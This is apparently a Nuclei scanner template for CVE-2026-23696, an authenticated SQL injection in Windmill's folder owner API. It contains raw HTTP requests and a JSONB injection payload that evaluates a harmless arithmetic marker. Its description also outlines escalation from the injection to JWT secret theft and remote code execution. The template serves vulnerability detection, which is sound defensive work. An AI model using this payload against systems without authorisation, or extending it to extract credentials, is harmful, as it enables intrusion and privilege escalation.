Windmill < 1.603.3 - SQL Injection

id: CVE-2026-23696

info:
  name: Windmill < 1.603.3 - SQL Injection
  author: chocapikk,DhiyaneshDk
  severity: critical
  description: |
    Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.
  impact: |
    An attacker with any valid Windmill credentials (including operator accounts) can extract the JWT signing secret from the database, forge an admin token, escalate to super admin privileges, and execute arbitrary commands on the server.
  remediation: |
    Update Windmill to version 1.603.3 or later which sanitizes the owner input before SQL query construction.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23696
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-23696
    epss-score: 0.16017
    epss-percentile: 0.96609
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 5
    vendor: windmill-labs
    product: windmill
  tags: cve,cve2026,windmill,sqli,authenticated

variables:
  folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("list-workspaces") && http("create-folder") && http("sqli-inject") && http("read-folder") && http("cleanup")

http:
  - id: list-workspaces
    raw:
      - |
        GET /api/workspaces/list HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: workspace
        part: body
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'
        internal: true

  - id: create-folder
    raw:
      - |
        POST /api/w/{{workspace}}/folders/create HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"name":"{{folder}}"}

    matchers:
      - type: word
        part: body
        words:
          - "Created folder"
        internal: true

  - id: sqli-inject
    raw:
      - |
        POST /api/w/{{workspace}}/folders/addowner/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"owner":"x\"}',(SELECT to_jsonb(11*11*11)),true)--"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: read-folder
    raw:
      - |
        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"x":1331'

      - type: status
        status:
          - 200

  - id: cleanup
    raw:
      - |
        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 4b0a004830460221009e3506bc9dd80c299874d153c7c77ab0a1456e9c1aa5f78d5407b81f771b2a36022100dddaec796d65eeeb103a9da753d216fc48e3cc4806404c8b7834b1dd12307a38:922c64590222798bb761d5b6d8e72950